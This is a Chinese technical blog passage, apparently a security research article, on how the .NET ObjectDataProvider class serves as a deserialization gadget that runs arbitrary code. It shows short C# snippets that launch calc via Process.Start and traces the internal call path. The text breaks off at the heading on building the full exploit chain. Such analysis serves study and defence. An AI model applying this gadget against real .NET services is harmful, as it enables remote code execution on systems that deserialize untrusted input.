&#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">如何使用ObjectDataProvider</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ObjectDataProvider调用一般有两种形式，一种通过instance调用:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">ObjectDataProvider obj = new ObjectDataProvider();<br/>obj.MethodParameters.Add(&#34;calc&#34;);<br/>obj.MethodName = &#34;Start&#34;;<br/>obj.ObjectInstance = new System.Diagnostics.Process();</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">一种是通过Type调用：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">ObjectDataProvider obj = new ObjectDataProvider();<br/>obj.MethodParameters.Add(&#34;calc&#34;);<br/>obj.MethodName = &#34;Start&#34;;<br/>obj.ObjectType = typeof(System.Diagnostics.Process);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">c# 获取type有三种方式：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">方法一：<br/>typeof(System.Diagnostics.Process)<br/>方法二：<br/>Type.GetType(&#34;System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&#34;, true,true);<br/>方法三：<br/>new System.Diagnostics.Process().GetType()</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">ObjectDataProvider底层实现</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查看ObjectDataProvider构造函数：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public ObjectDataProvider()<br/>{<br/>    this._constructorParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));<br/>    this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));<br/>    this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里ParameterCollectionChanged是委托</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">internal delegate void ParameterCollectionChanged(ParameterCollection parameters);</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以理解成函数指针，ParameterCollection的构造函数：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">public ParameterCollection(ParameterCollectionChanged parametersChanged)<br/>{<br/>    this._parametersChanged = parametersChanged;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在ParameterCollection的OnCollectionChanged函数触发会调用this._parametersChanged,实际上是通过委托的形式调用了ObjectDataProvider中的OnParametersChanged:</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">private void OnCollectionChanged()<br/>{<br/>    this._parametersChanged(this);<br/>}</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">ParameterCollection继承了System.Collections.ObjectModel.Collection,并重写了InsertItem等方法，InsertItem为protected方法，无法被直接调用。但InsertItem被父类的Add函数调用：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2134433962264151" title="null" data-w="848" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=78824741&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mz9LV0SsbuqO2ELhEaflc1e8Vst1diab0a0sqEhCdPI9jO0FF7YoqbZRA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">Add为public的方法，那么可以直接调用Add，进入InsertItem</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2484076433121019" title="null" data-w="628" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b704f721&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzo7Tich4IapBGW9uJzibphXqXRPD74lyos048niaiaS7eexhAPibDZFDTx1A%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">进入OnCollectionChanged后通过委托进入ObjectDataProvider中的OnParametersChanged：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.31585518102372034" title="null" data-w="801" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6aa11d62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzUbPgdl2Tpdgqq1w1paTbicFRP1lAUdYSeMBibCahJvvlsiaPeEXUd86IQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">之后调用Refresh()，进入ObjectDataProvider的BeginQuery：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2919020715630885" title="null" data-w="531" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c98d193b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzTQNAHyjVS752amOOuG9ibDnnibPyZ7U0qJ7vQgzsSrlHt7xEHrjELaJQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">最终进入QueryWorker：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4233576642335766" title="null" data-w="822" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e89ea74f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzRDYGXJjwMukmWZFto4w49ryr4yOC4UgG3pDL8Xq3LhDCC9BLEiau0SA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">此时因为我们的代码先添加了MethodParameters并没有设置type：</span></p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">ObjectDataProvider obj = new ObjectDataProvider();<br/>obj.MethodParameters.Add(&#34;calc&#34;);<br/>obj.MethodName = &#34;Start&#34;;<br/>obj.ObjectType = typeof(System.Diagnostics.Process);</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">所以进入异常：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3006134969325153" title="null" data-w="978" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=562095ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzicWGMibIsibV5nGuvCUzBNotnuzQQ3Y7QWMUphZ5Jm6V4bbf4cBzyyMxQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来设置MethodName,直接进入Refresh逻辑：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5712250712250713" title="null" data-w="702" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a64d7c53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzg7ErjfkicLoXXb8mHonmcpmTcgKyM4icZVUticoDL5dEJRp40Nv0WgmpA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">和刚才一样进入异常：</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7043918918918919" title="null" data-w="1184" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cd596400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mz3Hya8335X7eKNshvic8pWBcKpna2bpj00jkfgSHddjm6uJibkUanUO2A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来设置Type，成功设置type，依旧进入Refresh：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5931174089068826" title="null" data-w="1482" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d300b926&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzS02jqIBfH9gZzeFS3JDLQIS8EYlic5iaiaicicZnnZrvoBsYNl3xQHvAxyQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">通过CreateObjectInstance函数创建实例</span></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.43378119001919385" title="null" data-w="1042" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=894ca005&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzhOcIcic4QrxqXpWoJPEW0ibq0PlL049n1J81aNDlF8Jw4GVmFiaFpOCwQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">CreateObjectInstance通过获取的type和反射获取实例：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.24438687392055267" title="null" data-w="1158" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=860deb01&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzCXc9J9nvoBA5pZq6Vfn76f7I95ia1QxljcsZQTCQv0ribjGs5qJ5F1Ww%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">后续通过InvokeMethodOnInstance执行方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3355191256830601" title="null" data-w="915" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8230e211&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzu4pT2gQic97CNiaTXib5UjuXIayORA9qqOgxpDsSRM9NCv9XQeCHRKj3w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">InvokeMethodOnInstance通过反射调用指定方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4756787330316742" title="null" data-w="1768" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e756173d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzzJEEudDxyCCUpo0v9cwQZqBhITDZRln8QYV9ZlthF9KcOEib4eMOicPQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过设置ObjectInstance方法执行代码和上面的大同小异，只不过少了从Type获取Intance的过程。ObjectDataProvider类似java中的cc，是执行任意代码的一种方式。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">为什么不能直接反序列化</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我们尝试直接使用binaryFormatter对ObjectDataProvider实例进行序列化发现失败</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2930856553147575" title="null" data-w="969" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6b7c0201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzUg1MmhTqtugcX1Uj6wQd2AmohicIayKWtRhtQkgZ26ibdUgiaMn2azwJw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">显然需要是标记了[Serializable]标签的类才可以被序列化，如：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4491634491634492" title="null" data-w="777" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=6088980c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8796ccicBYAnzOTYWK1tTkQ2mzW0VN03VBOg3icQbXcYgYDga2TTVMPc22xnGw3m6JTn4Q71CZw6NNgmA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">构造完整的利用链</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 